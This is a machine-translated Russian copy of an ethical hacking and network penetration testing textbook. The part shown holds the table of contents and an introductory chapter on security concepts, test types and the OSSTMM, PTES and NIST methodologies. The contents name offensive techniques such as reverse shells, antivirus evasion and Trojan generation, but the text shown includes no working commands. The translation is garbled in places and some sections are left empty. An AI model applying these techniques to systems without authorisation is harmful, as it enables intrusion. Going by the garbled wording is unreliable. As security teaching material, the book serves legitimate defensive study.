Вы находитесь на странице: 1из 242

09.10.

2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Страница 1

Страница 2

Оглавление
Глава 01 Введение в тестирование на проникновение в сеть
Определение и цель
Информационная безопасность
Уязвимость, угроза и использование
Оценка рисков и анализ воздействия
Типы и категории тестирования на проникновение
Методологии и стандарты
Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM)
Стандарт выполнения тестирования на проникновение (PTES)
Техническое руководство по тестированию и оценке информационной безопасности NIST
(Национальный институт стандартов и технологий)
Фреймворк тестирования на проникновение
Руководство по тестированию Open Web Application Security Project (OWASP)
Модуль 02 Подготовка к вступлению в бой.
Объем и анкета
Критерий успеха
Правила участия
Модуль 03 Сбор разведданных.
Типы сбора разведданных
Типы собираемой информации
Уровни сбора разведданных
Практические методы
Ручной анализ веб-сайта
Доступ к информации WHOIS
Региональные интернет-реестры (RIR)
Реестры доменов
Инструмент командной строки WHOIS
Онлайн-WHOIS
Записи DNS
Запрос DNS-записей
Подбор DNS-имени
Перенос зоны DNS
Публичная поисковая система

Стр. 3

Google - поисковая система


Shodan - поисковая система Интернета вещей
Pipl - поиск людей

https://translate.googleusercontent.com/translate_f 1/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
RobTex - механизм поиска DNS
BuiltWith - интеллектуальный анализ веб-технологий
Netcraft - веб-анализатор
Как найти в Интернете незащищенные конфиденциальные файлы вашей цели
Запрос файлов документов в Google
Автоматический поиск и анализ документов с помощью «Metagoofil»
Инструмент Maltego
Бег и изучение Мальтего
Получение информации с помощью преобразований
Более глубокий взгляд на сущности и преобразования
Модуль 04 Управление сетевым трафиком.
Анализ сетевого трафика
Tcpdump
Wireshark
Перехват сетевого трафика
Концентратор против коммутатора
Отравление ARP
Arpspoof
Связывание и обратная оболочка с Netcat
Обзор
Войдите в Netcat
Привязать оболочку
Обратная оболочка
Резюме
Взлом SSL / TLS с использованием SSLstrip
Перенаправление HTTP 302
Использование 302 редиректа
Запуск SSLstrip
Заключительные примечания
Модуль 05 Сетевое и системное сканирование.
Вступление
Обнаружение хоста
Методы на основе ICMP

Стр. 4

Методы на основе TCP


Метод на основе UDP
Сканирование портов
Сканирование TCP-порта
Сканирование UDP-портов
Обнаружение версии службы
Операционная система (ОС) Отпечатки пальцев
Модуль 06 Анализ уязвимостей.
Обзор
Первоначальное обнаружение уязвимостей
Обратный инжиниринг
Категории уязвимости
Недостаточные уязвимости при проверке входных данных
Криптографические уязвимости
Уязвимости конфигурации
Уязвимости протокола TCP / IP
Уязвимости аутентификации

https://translate.googleusercontent.com/translate_f 2/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Уязвимости
Уязвимости авторизации
доступности
Уязвимости оборудования
Отслеживание и рейтинг уязвимостей
Система Common Vulnerabilities and Exposures (CVE)
Общая система оценки уязвимостей (CVSS)
Базы данных об уязвимостях в Интернете
Автоматические сканеры уязвимостей
Сканер безопасности Nessus
Установка Nessus
Шаблоны сканирования
Настройка нового сканирования
Сканирование Metasploitable System
Модуль 07 Эксплуатация
Вступление
Последствия эксплуатации
Удаленное выполнение кода (RCE)
Повышение привилегий
Раскрытие информации

Стр. 5

Отказ в обслуживании (DoS)


Эксплойт против полезной нагрузки
Буфер над эксплуатацией, вводная демонстрация
Указатель инструкции
Буфер и стек
Проверка ввода
Эксплуатация
Методы смягчения последствий
Типы эксплуатации
Удаленная эксплуатация
Локальное использование (повышение локальных привилегий)
Типы оболочки
Прямая оболочка
Привязать оболочку
Обратная оболочка
Фреймворк Metasploit
Фон
Изучение Metasploit
Запуск Metasploit
Процесс эксплуатации Metasploit
Использование метаиспользуемых уязвимостей
Bind Shall (Rogue Shell) Обнаружение бэкдора
Раскрытие информации об экспортированных общих ресурсах NFS
Обнаружение службы «rexecd»
VNC Server 'пароль' Пароль
Использование уязвимости EternalBlue (MS17-010)
Историческое прошлое
Эксплуатация Windows 7 SP0
Использование Windows Media Center (WMC): уязвимость MS15-100
Использование OverlayFS в ядре Linux <3.19.0 (CVE-2015-1328)
Модуль 08 Постэксплуатация.
О Meterpreter

https://translate.googleusercontent.com/translate_f 3/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Как использовать Meterpreter
Первый метод: Meterpreter как полезная нагрузка
Второй способ: Meterpreter как исполняемый файл
Постэксплуатация с помощью Meterpreter
Получение информации

Стр. 6

Повышение привилегий
Покрытие следов
Взаимодействие с операционной системой
Взаимодействие с файловой системой
Постоянный бэкдор
Поворотные механизмы и реле для экстремального постэксплуатационного контроля
Переход через первую жертву
Рассказывая о первой жертве
Уклонение от антивирусного ПО с Veil Framework
Вступление
Путь уклонения
Войдите в завесу
Установка Veil Framework
Бегущая вуаль
Понимание полезной нагрузки Veil
Генерация троянца
Начало атаки
Оценка антивирусной защиты
Оценка полезной нагрузки Veil
Модуль 09 Парольные атаки.
Вступление
Советы по парольным атакам
Типы парольных атак
Подбор пароля
Взлом паролей
Подбор пароля с помощью xHydra
Хэши паролей Windows
Формат хеширования LM
Формат NT Hash
Взлом хэшей Windows с помощью Cain
Извлечение хэшей паролей домена
Копирование базы данных NTDS
Экспорт информации из базы данных NTDS
Извлечение хэшей из таблиц данных и ссылок
Хэши паролей Linux
Алгоритмы хеширования в Linux
Использование солей

Стр.7

Итерации хеширования

https://translate.googleusercontent.com/translate_f 4/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Взлом хэшей Linux с помощью Джона
Модуль 10 Беспроводные атаки.
Вступление
Беспроводная технология
Режимы работы WLAN
Наборы услуг и их идентификация
Режимы беспроводной карты
Беспроводная безопасность
Беспроводные DoS-атаки
Wired Equivalent Privacy (WEP) и его недостатки
Защищенный доступ Wi-Fi (WPA 1 и 2)
Инструмент Aircrack-NG
Взлом WEP с помощью aircrack-ng
Взлом WPA1 и 2 с помощью aircrack-ng

Стр. 8

Глава 01 Введение в проникновение в сеть


Тестирование
Определение и цель
Тестирование на проникновение - это процесс оценки и оценки безопасности.
состояние компьютерных и сетевых систем путем обнаружения уязвимостей и
пытаясь взломать эти системы.
Другой термин для тестирования на проникновение - этический взлом . Тестеры на проникновение
их называют этичными хакерами или хакерами в белых шляпах . С другой стороны, неэтично
хакеров называют хакерами в черной шляпе . Единственная разница между этическим
взлом и неэтичный взлом - это согласие цели; то есть в этических
взлом, т. е. тестирование на проникновение, цель дала письменное разрешение на
этичный хакер выполнить такой тест с целью оценки его
уровень безопасности.

https://translate.googleusercontent.com/translate_f 5/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Тестирование на проникновение показывает, что и как хакеры могут скомпрометировать или
повредить определенный компьютер или сетевую систему. Путем проникновения
test, целевая организация узнает:

Уязвимости или слабости в их системах.


Как можно использовать эти уязвимости.
Ущерб - удар, - который может возникнуть в результате такой эксплуатации.
Как исправить и устранить эти уязвимости.

Информационная безопасность
Любой бизнес полагается на информацию, такую ​как коммерческая тайна, данные клиентов,
финансовые документы, документы сотрудников, электронные письма и т. д. Информация
Безопасность - это сохранение конфиденциальности , целостности и доступности
(ЦРУ) деловой информации:

Конфиденциальность : означает, что к информации имеют доступ только


уполномоченный персонал. Это касается секретности этой информации.
Если каким-либо образом информация была доступна, просмотрена или прочитана,
посторонним лицом, конфиденциальность считается нарушенной.
Целостность : означает, что информация не модифицируется и не изменяется.
случайно или намеренно посторонними лицами. Это относится к

Стр.9

точность или правильность этой информации. Если какой-либо


означает, что информация была изменена, целостность считается
нарушен.
Доступность : означает, что информация должна быть доступна
потребность. Если информация полностью или частично потеряна или отображается
недоступен для уполномоченных лиц, считается, что доступность
нарушен.
Позже, когда мы будем говорить об уязвимостях, мы узнаем, что величина риска
любой уязвимости рассчитывается на основе того, как эта уязвимость влияет на
Конфиденциальность, целостность и доступность системы.
Сохранение информации ЦРУ осуществляется за счет реализации определенных мер безопасности.
механизмы, называемые элементами управления. Существует две категории мер безопасности:
Управление процессами и интерактивное управление:

Я. Управление процессами : это механизмы безопасности, применяемые напрямую


к информации, которая нуждается в защите. Информация
обрабатывается определенным образом - этими средствами контроля - так что ЦРУ
сохранены. Контроль процесса: шифрование,
Хеширование / цифровая подпись и резервное копирование:
а. Шифрование: используется для сохранения конфиденциальности
Информация; и это процесс шифрования фактического
информацию с помощью «ключа». Выходной код называется
зашифрованный текст. Только те, у кого есть ключ, могут расшифровать
зашифрованный текст, чтобы получить исходный текст. Это важно
обратите внимание, что шифрование не может быть выполнено без
"ключ." Некоторые путают простую кодировку или
шифрование. Кодирование скрывает исходный текст в
код; однако закодированное сообщение можно перевернуть с помощью
любой, кто знает алгоритм кодирования. С участием
шифрование, никто не может расшифровать зашифрованный текст, даже если

https://translate.googleusercontent.com/translate_f 6/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
они знают алгоритм шифрования. «Ключ» должен быть
известная стороне, расшифровывающей зашифрованный текст. Примеры
алгоритмов шифрования - DES, AES и RSA.
б. Хеширование / цифровая подпись : хеширование используется для сохранения
целостность информации; и это процесс
создание уникального отпечатка пальца (строки) фиксированной длины

Стр.10

информации. Алгоритм хеширования требует


исходный текст в качестве входных данных, а затем вычисляет фиксированное -
код длины; выходной код всегда такой же, как и длинный
как вводимый текст такой же. Если в
input, будет сгенерирован совершенно новый хэш. An
здесь важно отметить, что в отличие от
шифрование, мы не можем получить исходный текст из
хеш; другими словами, алгоритмы хеширования не могут быть
в обратном порядке. Они производят хэши из оригинальных текстов, но
не может получить исходные тексты из хешей. Вот почему
Алгоритм хеширования называется односторонним хешированием. Цифровой
подпись - это хэш, зашифрованный закрытым ключом. А
цифровая подпись гарантирует целостность оригинала
текст; кроме того, он удостоверяет, кто является фактическим владельцем.
Примеры алгоритмов хеширования: MD5, SHA1 и
SHA2.
c. Резервное копирование : этот процесс сохраняет доступность
Информация. И это процесс создания одного или
больше копий информации - будь то оригинал
текст или зашифрованный текст - которые хранятся в безопасном месте
отличается от расположения исходной информации.
В этом случае, если исходная информация утеряна, она может быть
восстановлен из резервной копии.
II. Интерактивные элементы управления : эти элементы управления реализованы как меры
когда информация - подлежащая защите - взаимодействует с внешними
сущности. Они не применяются к тому, как обрабатывается информация.
(как в Process Controls), скорее, они применяются всякий раз, когда
другой объект (например, система или человек) пытается взаимодействовать с
информация. Таких элементов управления три, и они
Аутентификация, авторизация и учет (AAA):
а. Аутентификация : это механизм определения того,
индивиду - системе или человеку - разрешено
получить доступ к защищенному пространству; пространство может быть физическим
местоположение, программное приложение или любую другую систему.
Самая распространенная форма аутентификации - пароль.
аутентификация, с которой знакомо большинство людей. Когда
вы входите в свою учетную запись Facebook с именем пользователя

Стр. 11

https://translate.googleusercontent.com/translate_f 7/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

и пароль, то есть аутентификация. Однако там


есть три способа реализации аутентификации: 1. Какие
пользователь знает, например, пароль или кодовую фразу, 2. Что
у пользователя есть, как и у карты доступа, и 3. Что такое пользователь,
как отпечаток пальца.
б. Авторизация : это механизм определения того, что
пользователю разрешено делать после того, как он был
аутентифицирован. Авторизация касается прав доступа
и привилегии, которые у них есть. Если взять Facebook
Пример снова, авторизация относится к действиям, которые
вам разрешено делать это после того, как вы успешно вошли в систему;
какие фото вам разрешено просматривать? Какие люди
вам разрешено писать на их стенах? И так далее. Когда это
приходит к файлам в системах, какие файлы вам разрешены
читать, изменять или удалять? Привилегии, предоставленные разным
законные (аутентифицированные) пользователи являются частью
механизм авторизации.
c. Учет : это механизм ведения журнала и
просмотр всех действий и попыток пользователей. Бухгалтерия
выявляет любые несанкционированные попытки. Это способ отслеживать
что делается и кем разоблачать любое неправомерное использование.
Короче говоря, безопасность определенной информации заключается в ее сохранении.
Конфиденциальность, целостность и доступность (CIA). Конфиденциальность
поддерживается с помощью шифрования, целостность поддерживается с помощью хеширования или цифрового
Подпись и доступность поддерживаются Backup. Эти три элемента управления -
Шифрование, хеширование и резервное копирование - называются процессами управления. Кроме того,
пока внешние сущности взаимодействуют с информацией, нам нужны три дополнительных
элементы управления, называемые интерактивными элементами управления, которые являются аутентификацией
Авторизация и учет (AAA).
Кроме того, в повседневной работе предприятия полагаются на компьютерные и сетевые системы.
операции. Эти системы должны работать по назначению без перебоев.
- как в атаках типа «отказ в обслуживании» (DoS). Кроме того, общедоступные системы,
как и веб-сайты, они должны быть безопасными и защищенными.
Существует три основных принципа эффективной защиты корпоративной информации:
установить долговременную безопасность информационных технологий. К несчастью,
многие топ-менеджеры не осознают важность кибербезопасности, и

Стр. 12

многие ИТ-менеджеры полагают, что ИТ-безопасность - это только брандмауэры и


антивирус. Однако есть три ключа к надлежащей ИТ-безопасности в любом
организации, которыми являются:

1. Обязательства руководства
Руководство должно знать о киберугрозах и обязано совершать
для защиты своей деловой информации. Роли верхних
управление можно резюмировать в следующих пунктах:

Запустите политику безопасности.


Наймите сотрудника службы безопасности и группу безопасности.
Выделите фиксированный бюджет на ИТ-безопасность.
Утвердите программу повышения осведомленности о безопасности для всех сотрудников.

https://translate.googleusercontent.com/translate_f 8/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
2. Техническая реализация
ИТ-подразделение компании должно уметь технически реализовать
различные технологии безопасности, такие как:

Антивирус.
Межсетевой экран.
Система обнаружения / предотвращения вторжений (IDS / IPS).
Демилитаризованная зона (DMZ).
VLAN.
Инфраструктура открытых ключей (PKI).
Единое управление угрозами (UTM).

3. Сторонняя оценка
Сторонние аудиторы и тестеры на проникновение должны быть наняты на регулярной основе.
интервалы для проверки безопасности компании. Выгоды
стороннего аудита и тестирования на проникновение:

Выявляет пробелы и слепые пятна.


Он проверяет работу собственной команды.
Он выявляет ошибки конфигурации и человеческие ошибки
Это последний штамп в отношении безопасности компании.

Уязвимость, угроза и использование

Стр. 13

Есть три термина, которые часто повторяются в лексиконе этического взлома; а также
это уязвимость, угроза и эксплойт. Очень важно понять
эти термины и знайте разницу между ними.

Уязвимость : это слабое место в аппаратном или программном обеспечении, которое


могут быть использованы хакером, тем самым снижая общий
заверение информации. Это дыра в общей безопасности
система. Уязвимости - это точки входа, через которые
хакеры проникают в систему. Во время теста на проникновение
есть этап, называемый «Оценка уязвимости», во время которого
тестер на проникновение пытается найти все уязвимости в
нацеливать системы и сети, оценивает их потенциальный вред и
в конечном итоге рекомендует клиентской организации практические
решения для устранения этих уязвимостей.
Угроза : это любой опасный агент, который может воспользоваться
уязвимость или прорваться через нее; угроза потенциально является источником
вред системе. Угроза может быть человеческой, например хакерской, технической,
как вирусы и черви, или стихийные бедствия, как землетрясения.
Эксплойт : это инструмент, то есть программный код, используемый хакером для
воспользоваться уязвимостью или воспользоваться ею. Эксплуатация стремится
создать непреднамеренное поведение в удаленной системе, которое поддается
компрометация системы. Эксплуатация - это «умный» способ проникнуть в
систему через уязвимость. Всякий раз, когда есть уязвимость,
хакеры нестандартно мыслят, чтобы использовать систему. И
практические средства эксплуатации реализованы в коде, который
называется «эксплойтом». Во время теста на проникновение тестер пытается
эксплуатировать обнаруженные уязвимости и раскрывать клиенту актуальные
вред, который может возникнуть, если эти уязвимости останутся не исправленными.
Мы сможем лучше понять эти термины, если рассмотрим следующую аналогию.
https://translate.googleusercontent.com/translate_f 9/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Допустим, есть дом, в котором есть что-то ценное, но дверь в него закрыта.
слабая блокировка. В таком сценарии слабую блокировку можно назвать уязвимостью,
вор, который может проникнуть в дом, будет угрозой, а отмычка
или инструмент, используемый вором для взлома слабой блокировки, можно назвать эксплойтом.
Оценка рисков и анализ воздействия
Когда дело доходит до информационной безопасности в любом бизнесе, всегда есть
вопрос, сколько инвестировать, чтобы уменьшить и закрыть уязвимости. Потому что,

Стр. 14

более высокая безопасность потребует большего бюджета; таким образом, исполнительное руководство
Спросили бы, сколько бюджета необходимо для достижения желаемой безопасности?
А для правильного ответа проводятся дополнительные оценки.
нужный. Недостаточно простой оценки уязвимости. Бизнесу нужно
для проведения этих двух процессов:

1. Оценка риска : в первую очередь, риск - это вероятность причинения вреда.


происходящие; то есть риск задает вопрос, какова вероятность
что используется определенная уязвимость? Может быть
определенная уязвимость, о которой организация знает, но если
вероятность его эксплуатации низкая, значит, низкий риск
приходящий из. С другой стороны, если вероятность его
эксплуатация высока, значит, высока опасность. Посещая наши
предыдущая аналогия дома со слабым замком, если дом
в районе с низким уровнем краж, тогда вероятность
проникновения вора в дом низкий - значит, низкий риск.
Верно обратное; если район известен частым
преступления воровства, следовательно, риск высок. Бизнес должен проводить
Оценка рисков для каждой уязвимости для оценки связанных
уровень риска.
2. Анализ воздействия : удар - это фактический ущерб, который может
в результате опасного происшествия; то есть, как только уязвимость
эксплуатируемый, нанесенный ущерб - например, финансовые потери,
утечка конфиденциальной информации, потеря репутации и т. д. - это
влияние этого инцидента. Анализ воздействия определяет, как
может быть нанесен большой ущерб, если каждая уязвимость будет
эксплуатируется. Посещение аналогии с нашим домом, если есть 100000 долларов
золото в доме, которое могло быть украдено в случае кражи,
тогда мы можем сказать, что влияние велико. Однако с другой
рука, если там дом просто пустой, значит, воздействие слабое
на случай, если в него проникнет вор.
На основании результатов оценки рисков и анализа воздействия,
руководство может сделать лучшее суждение о том, следует ли смягчить определенные
уязвимость или нет; и если да, то сколько нужно вложить в реализацию
такое смягчение. Давайте еще раз посмотрим на аналогию с домом и рассмотрим эти четыре
сценарии:

Стр. 15

https://translate.googleusercontent.com/translate_f 10/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

а. Если риск высок и воздействие велико , тогда стоит


вложение в дорогой качественный замок.
б. Если риск невелик и воздействие также невелико , тогда мы можем
ничего не делать с замком. Мы можем принять
ситуация как есть.
c. Если риск высок, но воздействие невелико; мы могли бы купить
Замок среднего качества.
d. Если риск низкий, но воздействие велико; как в
В предыдущем случае мы могли бы купить замок среднего качества.

Типы и категории тестирования на проникновение


Есть разные способы классифицировать разные типы проникновения.
тестирование. Один из способов - посмотреть, какими знаниями обладает этичный хакер.
о своей цели до начала фактического теста на проникновение. Другой способ -
рассмотрите место, из которого этичный хакер будет проводить свои
тест на проникновение. В следующих двух разделах описываются эти категории:
Черный ящик против теста на проникновение белого ящика
Когда этичный хакер проводит тест на проникновение без предварительного уведомления
знания о цели, такой тест называется тестом черного ящика. С другой
стороны, если он полностью осведомлен о цели, это называется тестом белого ящика.
Существуют разные причины, по которым организация может запросить либо черный-
ящик или тест белого ящика. Тест черного ящика имитирует процесс взлома.
реальных хакеров, так как хакеры выполняют свою деятельность тайно, без
любое сознательное взаимодействие со своей целью. Однако тест черного ящика может
пропустить определенные уязвимости, если есть некоторые системы или приложения, которые
полностью скрыт и не может быть обнаружен в течение срока
тестовое задание. Из-за этого фактора тест черного ящика обычно быстрее, чем его
аналог и стоит меньше.
С другой стороны, тестирование методом белого ящика гарантирует, что все уязвимости
обнаружено, поскольку до начала теста тестировщик - этический хакер - был
учитывая полные знания о системах и приложениях из реальных
системные администраторы или разработчики, т. е. целевые владельцы. Вместо того
имитируя реальных хакеров, тест белого ящика заставляет тестер работать
тесно с ИТ-командами, и высокий уровень прозрачности во время
тестовое задание. Из-за этих факторов проверка белого ящика может занять больше времени.
и может стоить дороже, чем первый тип.

Стр.16

Тестирование черного ящика Тестирование белого ящика


Может пропустить некоторые уязвимости Может обнаружить все уязвимости
Имитирует реальных хакеров Тестировщик тесно сотрудничает с ИТ-командой.
Быстрее Помедленнее
Более дешевый Более дорогой

Между двумя крайностями комбинация обоих типов находится посередине.


и это называется "тестирование серого ящика". Тестировщик получает частичные знания о
цель. Тестирование методом серого ящика обладает лучшими характеристиками обоих типов.
Тест на внешнее и внутреннее проникновение
При рассмотрении места проведения испытания на проникновение,
мы обнаружим, что для любой целевой организации тестер может быть расположен внутри

https://translate.googleusercontent.com/translate_f 11/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
локальной сети организации (LAN), либо он может находиться где угодно
в противном случае за пределами локальной сети цели и проведите тест через Интернет.
Соответственно, тест на проникновение может быть внешним или внутренним тестом.
Итак, внешний тест на проникновение проводится через Интернет и оценивает
Интернет-присутствие цели. То есть этичный хакер пытается
взламывают цель через их общедоступные - выходящие в Интернет - системы. Это
имитирует внешних хакеров, которые могут находиться в любой точке мира. An
Внешний тест обычно оценивает такие системы, как:

DNS-серверы
Веб-серверы (http / https)
Файловые (ftp) серверы
Серверы удаленного доступа (citrix / rdp / ssh)
Почтовые (smtp / imap / pop3) серверы
Маршрутизаторы и VPN-шлюзы
Межсетевые экраны и IDS / IPS
С другой стороны, внутренний тест на проникновение проводится из местного
периметр целевой организации. И в первую очередь имитирует взлом
процесс злонамеренного инсайдера, то есть сотрудника или подрядчика, который
предполагается, что организация доверяет, но имеет злонамеренный умысел. Этот тип
Тест на проникновение обычно включает в себя следующие действия:

Подслушивание и угон трафика


Сбор конфиденциальной информации, такой как электронные письма или документы

Стр.17

Получение административных и пользовательских паролей


Использование внутреннего SQL и веб-серверов
Использование внутренних почтовых серверов
Использование внутренних FTP- и SSH-серверов
Оценка безопасности беспроводной сети.

Методологии и стандарты
Чтобы стандартизировать процесс тестирования на проникновение, разные
организации создали комплексные методологии, описывающие все
шаги и этапы пен-тестирования. Эти методологии и стандарты обеспечивают
рамки для тестировщиков на проникновение, которым они должны следовать во время своей работы, чтобы тест
является исчерпывающим и полным. Также эти методологии и стандарты
предоставить целевым организациям знания для оценки глубины и
точность стороннего теста на проникновение. Таким образом, методики помогают как
этичный хакер, а также цель получить максимальную отдачу от теста на проникновение.
В этой главе мы рассмотрим пять различных методологий и стандартов:

1. Руководство по методологии тестирования безопасности с открытым исходным кодом


(OSSTMM).
2. Стандарт выполнения тестирования на проникновение (PTES).
3. Техническое руководство по тестированию информационной безопасности и
Оценка NIST.
4. Структура тестирования на проникновение.
5. Тестирование Open Web Application Security Project (OWASP).
Руководство

https://translate.googleusercontent.com/translate_f 12/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM)
www.isecom.org/research

OSSTMM был разработан Институтом безопасности и открытости.


Методологии (ISECOM) в январе 2001 г., Пит Херцог. И с тех пор
многие исследователи внесли в это свой вклад. Согласно их веб-сайту: «это
рецензируемое руководство по тестированию и анализу безопасности, в результате которого
проверенные факты. Эти факты предоставляют полезную информацию, которая может
значительно повысить вашу операционную безопасность. […] OSSTMM о
операционная безопасность. Речь идет о знании и измерении того, насколько хорошо безопасность
работает."

Стр.18

OSSTMM учитывает взаимодействие между людьми,


процессы, системы и программное обеспечение. Кроме того, он пытается проверить безопасность пяти
домены в любом бизнесе, будь то человеческий, физический, беспроводной,
телекоммуникации и сети передачи данных; каждый домен называется каналом .
Следующая таблица, взятая из OSSTMM, объясняет эти пять доменов:
Класс Канал Описание
Физическая охрана Человек Включает в себя человеческий фактор
(PHYSSEC) из коммуникация куда
взаимодействие либо физическое, либо
психологический.
Физический Тестирование физической безопасности, где
канал как физический
и неэлектронные по своей природе.
Состоит из в заметный
элемент безопасности, где
взаимодействие требует физического
усилие или передатчик энергии
манипулировать.
Спектр Безопасность Беспроводной Состоит из все электронный
(SPECSEC) коммуникации, сигналы и
эманации, которые имеют место
по известному спектру ЭМ.
Этот включает в себя:ELSEC
(Электронное общение),
SIGSEC (Сигналы), а также
EMSEC (Эманации
не привязаны кабелями).
Связь Телекоммуникации Состоит из все электронный
Безопасность (COMSEC) системы и сети передачи данных
где происходит взаимодействие
над установленным кабелем и
проводные сетевые линии.
Сети передачи данных Состоит из все электронный
системы и сети передачи данных
где происходит взаимодействие
над установленным кабелем и
проводные сетевые линии.

OSSTMM имеет свои преимущества и недостатки. Самый очевидный


Преимущество OSSTMM в том, что он глубокий и обстоятельный. OSSTMM охватывает
все аспекты информационной безопасности, включая человеческие / личные и

https://translate.googleusercontent.com/translate_f 13/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Стр.19

физические аспекты. Большинство методологий сосредоточены на технических


сторона тестирования на проникновение, то есть тестирование сетей и систем передачи данных. В
OSSTMM охватывает полный подход к социальной инженерии и тестированию
физическая безопасность организации.
Однако в руководстве OSSTMM не указано, какие инструменты использовать для
выполнить конкретную задачу. Отсутствие технических инструкций - это его
недостаток - особенно если вы ищете такую ​информацию. Это
просто инструктирует тестировщика о том, что необходимо сделать. Вам решать, что
инструменты для использования, и ваша задача - найти подходящие инструменты для каждой задачи. Для этого
причина, некоторые люди считают его слишком теоретическим и концептуальным - в отличие от второго
стандарт (ПТЭС).
Как упоминалось выше, OSSTMM охватывает пять доменов (каналов) для тестирования.
и аудит; Ниже приводится краткое описание каждого домена:

1. Тестирование безопасности человека . В этой части OSSTMM основное внимание уделяется


межличностное общение с людьми цели, чтобы увидеть
их уровень осведомленности о безопасности и проверить, может ли какое-либо вторжение
происходят через психологическое манипулирование персоналом. В
межличностное общение может осуществляться по телефону, электронной почте,
обмен мгновенными сообщениями или лично. Этот вид тестирования можно назвать
«Социальная инженерия» другими профессионалами.

2. Тестирование физической безопасности . В этой части основное внимание уделяется тестированию л


возможность проникновения в физический периметр цели и
нарушение конфиденциальности, целостности и доступности данных, которое
может возникнуть в результате физического попадания в непосредственной близости от цели.

3. Тестирование безопасности беспроводной сети : основное внимание уделяется оценке безопасности.


электромагнитных и микроволновых частот. OSSTMM
описывает процедуры проверки возможности доступа к информации
перехват беспроводных сетей или нарушение беспроводной аутентификации
или авторизация. Кроме того, в этом разделе проверяется,
возможно вызвать отказ в обслуживании (DoS) для беспроводной
сеть с помощью любых форм радиочастотных помех.

4. Тестирование безопасности электросвязи :

Стр.20

5. Тестирование безопасности сетей передачи данных :

Стандарт выполнения тестирования на проникновение (PTES)


www.pentest-standard.org

Это всеобъемлющий технический стандарт, охватывающий все основные этапы и все


незначительные шаги профессионального теста на проникновение. Он дополнительно оснащен
техническое руководство, которое включает 33 инструмента безопасности, ссылки на которые есть на их веб-сайт
PTES делит процесс тестирования на проникновение на семь следующих этапов:

1. Взаимодействие перед взаимодействием

https://translate.googleusercontent.com/translate_f 14/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Это включает в себя подготовительные беседы и общение между
вы, тестировщик проникновения и целевая организация. Эти
взаимодействия включают в себя: Объем - Встречи - Анкета - Цели -
Контактная информация для экстренных случаев - Правила взаимодействия.

2. Сбор разведданных
Согласно PTES, этот этап предполагает работу за кулисами, чтобы
сформировать подробное представление о целевой организации; такой подробный
картинка даст вам лучшее и более глубокое понимание цели.
Этот этап включает в себя выполнение таких задач, как разведка и
Следы ( обсуждается позже ) против цели, чтобы собрать как можно больше
информация по мере возможности. Информация будет большим подспорьем в дальнейшем.
фазы - оценка уязвимости и эксплуатация. Таким образом, чем больше
информацию, которую вы собираете здесь, тем больше атакующих стратегий вы будете использовать
позже.

3. Моделирование угроз
На этом этапе необходимо определить два ключевых элемента: 1. Активы и 2.
Угрозы. Активы - это системы и / или приложения, принадлежащие
цель, в то время как угрозы - это опасности, которые потенциально могут повредить или
поставить под угрозу активы. Моделирование угроз выполняется в четыре этапа:

Шаг 1: соберите соответствующую информацию.


Шаг 2: определите и классифицируйте первичный и вторичный
активы .
Шаг 3: идентифицируйте и классифицируйте угрозы.

Стр.21

Шаг 4. Сопоставьте угрозы с активами.


4. Анализ уязвимости
Этот этап включает в себя обнаружение всех слабостей, дыр и изъянов в
системы и приложения цели. Обнаруженные уязвимости будут
ваш путь к атаке на информацию о цели. В соответствии с
PTES, существуют различные типы уязвимостей, такие как host и
неправильная конфигурация службы для небезопасного дизайна приложения.

5. Эксплуатация
Согласно PTES, основной упор на этом этапе делается на получение
доступ к системам или ресурсам путем прохождения ограничений безопасности. А также
этот этап должен быть «хорошо спланированным и точным», если
предыдущий этап - анализ уязвимостей - прошел успешно.
Фаза эксплуатации направлена ​на создание точек входа в
системы цели и идентифицируйте цели с высокой ценностью. Ваша цель как
Тестер на проникновение должен вызывать наибольшее воздействие. Таким образом, вам следует
сфокусироваться на векторах атаки с высокой вероятностью успеха и сильным воздействием.

6. Постэксплуатация
После успешной эксплуатации ваша цель - сохранить доступ к
система цели на длительный период времени. Также, по данным ПТЭС, вы
следует определить ценность системы, проверив чувствительность
данные, хранящиеся на нем, и насколько система полезна для взлома
глубже в сеть.

https://translate.googleusercontent.com/translate_f 15/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

7. Отчетность
Заключительный этап - это написание отчета, описывающего весь процесс,
вместе со всеми находками и решениями. Отчет должен быть написан
способ, который имеет смысл для клиента и обеспечивает его максимальную
ценить.
Техническое руководство по тестированию и оценке информационной безопасности, проведенное
NIST ( Национальный институт стандартов и технологий )
nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf

Это техническое руководство от NIST меньше предыдущих, но


содержит все необходимые шаги и действия для полного теста на проникновение.

Стр. 22

В руководстве описаны четыре этапа тестирования на проникновение:

а. Планирование :
Этот этап включает в себя подготовительные действия, встречи и
беседы с клиентом. В основном он должен охватывать
следующие аспекты:

я. Определение правил ведения боевых действий.


II. Получение одобрения руководства
iii. Постановка целей теста.
б. Обнаружение :
Этот этап включает в себя первую часть взаимодействия, т. Е.
тест на проникновение. Цель здесь - узнать все уязвимости,
слабые места, дыры и точки входа, так что точный план атаки
можно придумать. Фаза открытия делится на
следующие части:

я. Сбор информации.
II. Сканирование.
iii. Анализ уязвимости.
c. Атака :
Это этап выполнения плана атаки. Эта фаза раскрывает все
вред, с их доказательствами, который может быть нанесен цели.
Согласно руководству, этот этап включает четыре основных действия:

я. Получение доступа
II. Повышение привилегий
iii. Просмотр системы
iv. Установка инструментов
d. Составление отчетов
Последний этап - написание отчета, в котором объясняется все, что было
сделано, включая выводы, стратегии смягчения и решения.
